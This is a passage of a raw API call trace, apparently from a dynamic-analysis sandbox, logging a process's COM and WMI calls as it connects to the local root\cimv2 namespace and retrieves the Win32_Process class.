[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf76d50) returned 0x0 [0074.817] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0074.818] WbemLocator:IUnknown:AddRef (This=0x1bf76d50) returned 0x3 [0074.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0074.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0074.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0074.818] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0074.818] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0074.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0074.818] WbemLocator:IUnknown:Release (This=0x1bf76d50) returned 0x2 [0074.818] WbemLocator:IUnknown:Release (This=0x1bf76d50) returned 0x1 [0074.818] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0074.818] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0074.818] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf76d50, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf76d50) returned 0x0 [0074.818] WbemLocator:IUnknown:AddRef (This=0x1bf76d50) returned 0x3 [0074.818] WbemLocator:IUnknown:Release (This=0x1bf76d50) returned 0x2 [0074.818] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0074.818] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0074.819] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.819] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf76d70) returned 0x0 [0074.819] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf76d70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf62ee0) returned 0x0 [0075.016] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62ee0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11deca0) returned 0x0 [0075.016] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11deca0, pProxy=0x1bf62ee0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0075.016] WbemLocator:IUnknown:Release (This=0x11deca0) returned 0x1 [0075.016] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62ee0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dece0) returned 0x0 [0075.016] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62ee0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11deca0) returned 0x0 [0075.016] WbemLocator:IClientSecurity:SetBlanket (This=0x11deca0, pProxy=0x1bf62ee0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0075.017] WbemLocator:IUnknown:Release (This=0x11deca0) returned 0x2 [0075.017] WbemLocator:IUnknown:Release (This=0x11dece0) returned 0x1 [0075.017] CoTaskMemFree (pv=0x11f0f20) [0075.017] WbemLocator:IUnknown:AddRef (This=0x1bf62ee0) returned 0x2 [0075.017] WbemLocator:IUnknown:Release (This=0x1bf76d70) returned 0x0 [0075.018] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0075.018] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0075.018] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62ee0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11decb0) returned 0x0 [0075.018] WbemLocator:IRpcOptions:Query (in: This=0x11decb0, pPrx=0x1bf76dd0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0075.018] WbemLocator:IUnknown:Release (This=0x11decb0) returned 0x2 [0075.019] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0075.019] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0075.019] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62ee0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf62ee0) returned 0x0 [0075.019] WbemLocator:IUnknown:Release (This=0x1bf62ee0) returned 0x2 [0075.019] SysStringLen (param_1=0x0) returned 0x0 [0075.019] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0075.019] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0075.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ede0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0075.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ede0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0075.020] IWbemServices:GetObject (in: This=0x1bf62ee0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11eed50, ppCallResult=0x0) returned 0x0 [0075.024] IWbemClassObject:Get (in: This=0x11eed50, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0075.024] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0075.025] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0075.025] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0075.025] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0075.025] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0075.025] IUnknown:Release (This=0x111f638) returned 0x1 [0075.029] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf76d70) returned 0x0 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76d70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0075.030] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76d70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf6f1a0) returned 0x0 [0075.030] WbemDefPath:IUnknown:Release (This=0x1bf76d70) returned 0x0 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf6f1a0) returned 0x0 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0075.030] WbemDefPath:IUnknown:AddRef (This=0x1bf6f1a0) returned 0x3 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0075.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf76d90) returned 0x0 [0075.030] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76d90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.030] WbemDefPath:IUnknown:Release (This=0x1bf76d90) returned 0x3 [0075.031] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0075.031] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0075.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0075.031] WbemDefPath:IUnknown:Release (This=0x1bf6f1a0) returned 0x2 [0075.031] WbemDefPath:IUnknown:Release (This=0x1bf6f1a0) returned 0x1 [0075.031] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0075.031] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0075.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f1a0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf6f1a0) returned 0x0 [0075.031] WbemDefPath:IUnknown:AddRef (This=0x1bf6f1a0) returned 0x3 [0075.031] WbemDefPath:IUnknown:Release (This=0x1bf6f1a0) returned 0x2 [0075.031] WbemDefPath:IWbemPath:SetText (This=0x1bf6f1a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.031] IWbemClassObject:Get (in: This=0x11eed50, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.031] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0075.032] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0075.032] IWbemClassObject:Get (in: This=0x11eed50, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.032] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0075.032] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0075.032] IWbemClassObject:Get (in: This=0x11eed50, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0075.032] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0075.033] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0075.033] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.033] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.033] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.033] IUnknown:Release (This=0x111f638) returned 0x1 [0075.035] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76f30) returned 0x0 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76f30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76f30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6f260) returned 0x0 [0075.036] WbemDefPath:IUnknown:Release (This=0x1bf76f30) returned 0x0 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6f260) returned 0x0 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.036] WbemDefPath:IUnknown:AddRef (This=0x1bf6f260) returned 0x3 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf76f70) returned 0x0 [0075.037] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76f70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.037] WbemDefPath:IUnknown:Release (This=0x1bf76f70) returned 0x3 [0075.037] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.037] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.037] WbemDefPath:IUnknown:Release (This=0x1bf6f260) returned 0x2 [0075.037] WbemDefPath:IUnknown:Release (This=0x1bf6f260) returned 0x1 [0075.037] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.037] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f260, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6f260) returned 0x0 [0075.037] WbemDefPath:IUnknown:AddRef (This=0x1bf6f260) returned 0x3 [0075.037] WbemDefPath:IUnknown:Release (This=0x1bf6f260) returned 0x2 [0075.037] WbemDefPath:IWbemPath:SetText (This=0x1bf6f260, uMode=0x4, pszPath="") returned 0x0 [0075.037] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.037] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.038] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.038] IUnknown:Release (This=0x111f638) returned 0x1 [0075.040] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76f30) returned 0x0 [0075.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76f30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | 